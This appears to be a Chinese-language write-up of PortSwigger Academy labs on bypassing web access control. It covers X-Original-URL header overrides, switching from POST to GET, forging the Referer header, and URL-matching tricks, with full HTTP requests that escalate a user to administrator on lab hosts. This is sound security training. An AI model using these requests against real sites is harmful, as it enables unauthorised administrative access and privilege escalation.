存取控制常見的饒過機制有
- 使用請求頭饒過存取限制
- 使用不同請求方法饒過存取限制
- 修改refer饒過存取限制
- URL 匹配差異導致存取控制失效
使用請求頭饒過存取限制
一些應用程式可能會阻擋一些位置,例如DENY: POST, /admin/deleteUser, managers
。但如果應用程式框架如果支援各種非標準HTTP 標頭,這些標頭可用於覆寫原始請求中的URL,例如X-Original-URL
和X-Rewrite-URL
,因此可能可以繞過存取限制
系統依賴X-Original-URL做為判斷來源的結果,只要改變此位置就能騙過系統,而得到admin入口
例如,前端己經阻擋/admin這個位置,因此請求時為返回存取被拒
############### request ##################
GET /admin HTTP/2
############### response ##################
HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 15
"Access denied"
由於己經知道目標網站支持X-Original-URL,因此使用以下方法饒過存取限制,看到管理後台
############### request ##################
GET / HTTP/2
Host: 0a700091040178fe80a27bf700ea00ac.web-security-academy.net
X-Original-Url: /admin
...omit...
############### response ##################
...omit...
Admin panel
...omit...
Lab: URL-based access control can be circumvented
使用不同請求方法饒過存取限制
某些網站在執行操作時可支持不同的 HTTP 請求方法,如果POST請求被限制,可以嘗試使用GET請求
例如,目標網站分析後發現提權是透過admin-roles請求搭配action=upgrade。非管理員carlos登入後,如果想嘗試自己用action=upgrade功能提昇權限,會返回未授權無法成功如下
############### request ##################
POST /admin-roles HTTP/2
Host: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net
Cookie: session=mKzLj3PBS2h3826hYnRncTEUaRIiHePI
...omit...
username=carlos&action=upgrade
############### response ##################
...omit...
"Unauthorized"
但改變成GET
方法後,就可以成功,如下
GET /admin-roles?username=carlos&action=upgrade HTTP/2
Host: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net
Cookie: session=mKzLj3PBS2h3826hYnRncTEUaRIiHePI
...omit...
############### response ##################
HTTP/2 302 Found
Location: /admin
...omit...
Lab: Method-based access control can be circumvented
修改refer饒過存取限制
有些網站使用refer做為檢查機制,如果refer不符合要求,不允許該請求
根據觀察發現目標網站提權請求用admin-roles,非管理者wiener登入後使用此請求會被拒絕
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net
Cookie: session=mKzLj3PBS2h3826hYnRncTEUaRIiHePI
...omit...
############### response ##################
...omit...
"Unauthorized"
根據觀察發現目標網站請求admin-roles上一個位置是/admin,因此要在refer加入此位置才可饒過。非管理者wiener登入後,需將refer加入admin位置,即可成功提權如下
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net
Cookie: session=mKzLj3PBS2h3826hYnRncTEUaRIiHePI
...omit...
refer: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net/admin
############### response ##################
HTTP/2 302 Found
Location: /admin
...omit...
Lab: Referer-based access control
URL 匹配差異導致存取控制失效
在某些情況,以下是等同的,如果目標只限制一種存取位置,那可以試另一個位置嘗試饒過
/admin/deleteUser
/admin/deleteUser/
/ADMIN/DELETEUSER
如果在spring啟用useSuffixPatternMatch,以下是同等的,spring5.3之前默認啟用。
/admin/deleteUser.anything
/admin/deleteUser